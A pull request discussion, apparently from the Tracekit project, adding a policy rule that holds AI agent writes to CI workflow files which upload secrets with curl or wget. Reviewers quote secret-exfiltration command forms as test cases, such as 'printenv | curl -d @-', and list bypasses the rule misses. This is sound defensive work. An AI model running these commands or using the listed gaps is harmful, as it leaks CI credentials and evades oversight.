Repository navigation
Hold CI workflow writes that upload secrets - #663
Conversation
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
|
Thanks. It changes the coding pack, which is frozen until 1.6.0 ships, so I'll review it right after the release, and it will need a rebase on main then. |
LoopGlitch26
left a comment
There was a problem hiding this comment.
Thanks, and sorry for the wait. Reviewed now that 1.6.0 is out. Reading the written text, not only the path, and deriving ci_workflow in the signer so a caller can't supply it, is the right shape. Four things:
- Rebase. The branch conflicts with main: 1.6.0 changed the coding pack (it's at
2026.10-v2-77now), so the bump becomes-78, and E17 and E21 need re-running after the rebase (no--rebaseline), with README,docs/evaluation.mdanddocs/limits.mdnumbers taken from that run.TK-A061is still free on main. - Three of the five CI files never put a command under
run:. GitLab CI and Azure Pipelines take commands fromscript:lists (Azure alsobash:andpowershell:), and a Jenkinsfile runs them throughsh '...', so the rule can't fire for.gitlab-ci.yml,azure-pipelines.ymlorJenkinsfile; the tests pass only because they writerun:into those files. Anchoring on therun:key also misses the second line of arun: |block, and an Edit whosenew_stringis only the changed command. Sinceci_workflowis already limited to CI paths, matching any one line of it (program, data option, secret and URL, bounded as now) would cover all five formats and both gaps, and thelean:note and the limits row can shrink to what's left (a secret sent by an action, a workflow written through a script, MultiEdit). Please use each format's real shape in the tests:script:lists for GitLab and Azure,shfor Jenkins, and a later line of arun: |block. - Quoting in the test data.
curl -d '$DEPLOY_TOKEN' ...sends the literal text: the shell doesn't expand inside single quotes. The rule holding it is fine, but the cases meant to show a leak should use"$TOKEN"or a bare$TOKEN, as the #401 pool does (${{ secrets.X }}in single quotes is fine: Actions expands it before the shell runs). - E17's benign set. Two of the issue's lookalikes are only in the unit test: please add the
env:NPM_TOKEN: ${{ secrets.NPM_TOKEN }}+npm publishworkflow and a workflow withcurl -fsSL https://example.com/install.sh -o install.shtotests/data/policy/benign/, so E17 counts them.
|
No issues @LoopGlitch26 , i will make the required changes |
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
LoopGlitch26
left a comment
There was a problem hiding this comment.
Thanks for the quick turnaround. The four asks are mostly in: the rebase and -78, real GitLab/Azure/Jenkins shapes, later run: | lines, the quoting and the two benign lookalikes. The design holds up: the signer derives ci_workflow from the path, a caller can't set it, the path respellings (.GitHub/Workflows/CI.YML, foo/../.github/…, Windows separators) all match, and across 2,906 corpus calls under coding, dev, server and strict on both engines nothing got looser; the only changes are the 24 allow→ask decisions on your three new cases. What's left, most important first:
Must fix
- New holds on ordinary CI. Any
$VARon the line counts as the secret, so these common steps are now held: a GitHub dispatch call (-H "Authorization: Bearer $PAT" -d '{…}'), a GitLab release call (PRIVATE-TOKENheader with--data), a Nexus upload (-u "$U:$P" -T dist/app.tgz), a codecov upload (--data-binary @coverage.xml "…?token=$T") and a Slack notify that mentions$GITHUB_SHA. A token sent as authentication isn't a leak. Please require the secret inside the data option's own argument (-d "$T",--data-binary "$T"), or@-with the secret on stdin, and add these five as benign E17 cases. That also changes the six-orderings test attests/test_signer_policy.py:4735, whosecurl "$TOKEN" -d https://…case sends the token as the URL. - The secret piped in isn't held:
echo "$T" | curl --data-binary @- URL,printenv | curl -d @-,… | base64 | curl -d @-. These are the textbook forms; please add a pipe-into-upload alternative, with tests. - Forms the rule says it covers but misses, each with a test: curl
--form,--upload-file,--jsonand combined flags like-sd; curl after;,&&,sudo,env A=1or as/usr/bin/curl(the program must currently start the line); Azure's$(SECRET), Jenkins${env.X}andsh(script: "…"),${{ toJSON(secrets) }}andsecrets['X']. eval/results/e21_policy_robustness.json: line 2 now names Windows, but the latency block is main's macOS run carried over (it still sayscalls: 2702, where a run now records 2709), and the file ends in a newlinejson.dumpdoesn't write. Please keep the machine and latency fields as they are on main, with main's sentence atdocs/evaluation.md:553; we re-measure latency on the reference Mac.- The PR body is out of date: it says
-65→-66, "first command of a block", "later block commands remain outside" and "1/890". It also listsnc, but only anncline that also has a curl data flag and an http(s) URL matches, so a realncupload is never held: please dropncfrom the pattern or from the claim.
Smaller
tracekit/policy2/classes.py:26: add composite actions (.github/actions/**/action.ymlandaction.yaml) andazure-pipelines.yaml.docs/policy-v2.md:647: TK-A061 needs its own entry (paths, programs, flags, limits); today it's a clause inside TK-A049's.docs/limits.md:998: list what's still left: commands split with\or a foldedrun: >(joining\-continued lines in the derived subject is a cheap fix, if you'd like to take it), an&or#inside the data, a URL without a scheme or in a variable, an Edit whose new text is only the URL or only-d "$T", patch-style edits, leaks through a GET query or a header, CI systems and paths it doesn't read (Bitbucket,.gitlab/ci/includes), and that a CI write over 64 KiB is now held (TK-OVERSIZE) where main only flagged it.
Heads-up: #690 also takes the coding pack to -78. Whichever merges second moves to -79 and re-runs E17/E21.
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
LoopGlitch26
left a comment
There was a problem hiding this comment.
Thanks. Most of the 11-10 list is in: the authentication-header, file-upload, URL-token and $GITHUB_SHA cases stay allowed and are in E17's benign set; the @- pipe forms, --form, --json, -sd, the ;, &&, sudo, env and absolute-path prefixes, and the Azure, Jenkins, toJSON(secrets) and secrets['X'] spellings are held with tests; composite actions, TK-A061's own entry, the limits row, nc dropped, and E21's machine line and trailing byte back to main's. I read the diff (e9c86fd). What's left:
Must fix
-
The single-quote rewrite hides real uploads.
_CI_SINGLE_QUOTED(tracekit/policy2/classes.pyL30, applied at L337) pairs any two'in the written text, across lines, and turns each$VARbetween them intoLITERAL. Quotes the shell never pairs then hide a secret the shell does expand:- a YAML single-quoted scalar:
run: 'curl -d "$TOKEN" https://x.example'(the shell getscurl -d "$TOKEN" …), and GitLab's usual form for a script line that contains a colon:- 'curl --data "$TOKEN" https://x.example' - an apostrophe inside double quotes:
run: echo "it's" && curl -d "$TOKEN" https://x.example && echo "that's it" - a
# don'tcomment before the step and a# can'tafter it ([^']*crosses newlines).
The 11-10 review said holding
curl -d '$DEPLOY_TOKEN'is fine, so the simplest fix is to drop this rewrite and the${env.X}one forsh '…'; the pattern's own'…'branch then holds the single-quoted forms. Move the three single-quoted cases in the not-held test (curl -d '$TOKEN',echo '$TOKEN' | curl -d @-, Jenkinssh 'curl -d ${env.X} …') to the held list, and add the four forms above as held cases. - a YAML single-quoted scalar:
-
Merge main again. The branch conflicts with main (#690 took the coding pack to
-78), so no CI ran on e9c86fd. Merge main, keep-79, and re-run E17 and E21 after the merge (no--rebaseline).
Smaller
_CI_JENKINS_SH(L31, used at L334): the pattern already acceptssh ',sh "andsh(script: 'before the program, so once the${env.X}rewrite is gone this looks unneeded. Drop it if the Jenkins tests stay green.docs/evaluation.md:553: please keep main's sentence ("The current policy scores above and the latency rows below were refreshed on macOS; the existing gates are unchanged."), as asked on 11-10; the latency fields are main's again.- The PR body still says
-65to-66,run:only, "the first command of a block",ncand1/890. Please update it to the rule as it is now.
|
@LoopGlitch26 sorry i believe i have missed a few things from your previously requested changes , i will address all them and push the changes tomorrow |
LoopGlitch26
left a comment
There was a problem hiding this comment.
Thanks for the update. Main has moved since the 11-11 review, so three things for the push:
- Pack version. #605 and #732 took the coding pack to
2026.11-v2-81(tracekit/policy2/packs/coding.yaml:14), so take2026.11-v2-82.TK-A061is still free on main. - Conflicts. #605 also changed
tracekit/policy2/classes.py,compile.pyandengine.py,docs/policy-v2.md,docs/limits.md,tests/test_signer_policy.pyand the E17/E21 results, so expect conflicts there. Re-run E17 and E21 after the merge (no--rebaseline). - The last sentence of your limits row. #605 set
oversize: askindev.yaml, so on the default pack every call over 64 KiB now waits for a person, CI writes included. After the merge, check "CI writes over 64 KiB are held (TK-OVERSIZE), where the previous rule merely flagged them" against main and keep only what is still true.
The rest is the 11-11 list: drop the single-quote and ${env.X} rewrites (and _CI_JENKINS_SH if the Jenkins tests stay green) and add the four forms as held cases, keep main's sentence at docs/evaluation.md:553, and update the PR body.
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
LoopGlitch26
left a comment
There was a problem hiding this comment.
I read 6c13a98 against both earlier reviews. These are in:
- The single-quote and
${env.X}rewrites and_CI_JENKINS_SHare gone. - The three single-quoted cases moved to the held list, and the four forms from 11-11 are held with tests (
tests/test_signer_policy.py:512-518). docs/evaluation.mdis main's again.- The E21 machine and latency fields are main's.
- The PR body matches the rule.
- The merge kept main's other changes (one leftover below).
- Every existing E17 decision is unchanged, and the six new harmful and fourteen new benign cases decide as expected.
What's left:
Must fix
-
A stale copy in
docs/policy-v2.md. Lines 772-809 repeat lines 714-751 as they stood before #605: thestrict.yamlparagraph, the deployment paragraph, the server-rules table (it still saysserver.yamlwhere main saysserver-core.yaml), and the SQL and "Rules match raw strings" paragraphs. Delete 772-809 and keep theTK-A061section at 753-770. -
The docs still quote the old E17 and E21 numbers, so
tests/test_eval_docs.pyfails. The places to update:README.md:19and:347: 840 of 840, 890 benign;docs/evaluation.md:284-285: 840 and 890;docs/evaluation.md:548-553: amandeavor's and "all three"'s now columns, 36→37 and 39→40, 96→97 and 101→102;docs/limits.md:210: 46 of E17's 890 benign calls.
Run
python -m pytest tests/test_eval_docs.pyand update each quote it names until it passes. -
eval/results/e21_robustness.jsonwasn't re-run. It still has main'spolicy_hashandsource_cases: 840, but its source cases are E17's harmful calls, now 846. CI's offline-evals job compares it with a fresh run (same e21_robustnessinci.yml). Runeval/e21_robustness.py(no--rebaseline), commit the result, and updatedocs/evaluation.md:609("all 840 originals and all 2,451 rewrites") from it. -
docs/policy-v2.mdcontradicts itself. TheTK-A049entry at line 711 still says "writing or emptying workflow content is not checked for secret exfiltration". Change it to say that writing isTK-A061's and only emptying isn't checked, and listTK-A061in that ask row. Since dev holds it too, also add it to the laptop default's "sending them out" row at line 689.
Smaller
- Pack version. #761 also takes
2026.11-v2-82. Whichever of the two merges second takes the next free number at merge time and re-runs E17 and E21, so check main'scoding.yaml:14right before you push. _CI_PUBLIC_SHA(tracekit/policy2/classes.py:29) exempts one name. A deploy notice that posts$GITHUB_REF_NAME,$GITHUB_RUN_ID,$CI_COMMIT_SHORT_SHAor$CIRCLE_SHA1in its data is still held. Either widen it to a short list of those systems' documented non-secret variables, with benign E17 cases, or name this in the limits row as a known false hold.- The new speed test (
tests/test_policy2.py:822) times only the fallback engine. Run it on both backends, as theCICredentialEgresstests do (("re2", "regex")when RE2 is installed), so RE2's time on that 64 KiB write is held to the budget too.
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
Signed-off-by: Kausthubh <26836237+kausthubhk@users.noreply.github.com>
|
I carried this in #781, so it can merge without another round from you. Your nine commits are in it unchanged (authorship, sign-offs and SHAs); pushing to your branch failed on the repository's Git LFS pre-push hook, which needs push access to your fork. f564093 and 68f5493 covered the 11-12 review's asks 1-4, 6 and 7. On top of them:
This PR can be closed once #781 merges. |
|
Merged with your commits in #799 (via #781): a CI workflow write that uploads a secret is now held (TK-A061), including JSON bodies, GitHub expressions and the long CI file forms. It ships in the next release. Thank you. And a follow-up to the earlier request to run Tracekit for a week: if you've been running it on your coding agent, |
What and why
Closes #405. The existing
TK-A049rule from #513 already holds CI pipeline deletions (rmandgit rm); this PR leaves it intact and addsTK-A061to ask before a directWriteorEditintroduces a recognized CI command that sends an environment variable or CI-secret expression as HTTP(S) request data throughcurlorwget. Normal workflows remain allowed, includingnpm test,npm publishwith an environment secret, CI lint and acurlinstaller download; authentication headers, ordinary file uploads and URLs containing a token are not misclassified as request-data exfiltration.The signer derives
ci_workflowsolely from a recognized CI filesystem path and the newly written text—not caller-supplied fields or an Edit's removed text. Recognized paths cover GitHub Actions workflows and composite actions, GitLab CI, CircleCI, Azure Pipelines (.yml/.yaml), and Jenkinsfile. The bounded pattern recognizes real CI syntaxes (run:,script:, Azurebash/powershell, Jenkinsshandsh(script:)), later commands inside block scalars,;/&&/sudo/env/absolute program prefixes, direct-d/-F/--data*/--form*/--json/--post-dataand selected@-stdin pipelines and secret stdin piped tocurl -T -/--upload-file -. It does not claim generalnccoverage, file-content inspection for-T/--upload-file/--post-file, or full YAML/shell parsing.Review-specific corrections
The Nov 11 review uncovered that
_CI_SINGLE_QUOTEDpaired apostrophes across unrelated YAML, comment and double-quoted text and suppressed actual secret uploads. The fix removes that rewrite and the unnecessary Jenkins-specific${env.X}rewriting, while retaining the benign public$GITHUB_SHAtreatment. Both command alternatives also accept an opening YAML single quote, which is required to holdrun: 'curl …'and GitLab's- 'curl …'. Regression tests cover the four newly reported real leaks and move three formerly "not held" cases to the held set as specifically requested. Previously requested benign auth cases, pipe uploads, alternate CI dialects, composite actions, policy docs and limits remain covered. The Nov 10--upload-filerequest is handled narrowly: piped secret stdin is held, but local-file uploads are still allowed; four new held and four benign E17 corpus fixtures check that boundary.The branch was merged with upstream
mainat c5a3923 and advances the coding pack from upstream2026.11-v2-81to2026.11-v2-82;dev,server, andstrictinherit the new rule. The merge preserved newer upstream signer-extractor, policy, compiler and evaluation-gate changes. All new commits, including the merge commit, haveSigned-off-bytrailers.Checks run after merging main
tracekit policy lintoncoding.yaml,dev.yaml,server.yaml, andstrict.yaml: all four passed..machine,latency, andgateswere preserved verbatim; no new reference-machine latency baseline was recorded, and no--record/--rebaselinewas used.make testwas not run locally by design; only the relevant tests above were requested for this iteration. Linux CI remains the full-suite merge gate. At final submission, record its actual state: pending after push.Limits and invariants
This is a bounded tripwire, not a YAML/shell parser or network egress firewall. It does not see workflows written through shell scripts;
MultiEditor patch-style writes; an action that sends a secret; independent Edit fragments; escaped/folded multiline commands; URL without scheme or behind a variable; a GET query/header leak; unsupported CI path/include systems; or generalncuploads. Seedocs/policy-v2.mdanddocs/limits.mdfor the precise remaining cases, including a CI write above 64 KiB (TK-OVERSIZE). The signer still owns keys and decisions; no new agent-supplied field is trusted, and the frozen evidence formats, gap recording and verification guarantees are unchanged. NoCHANGELOG.mdchange.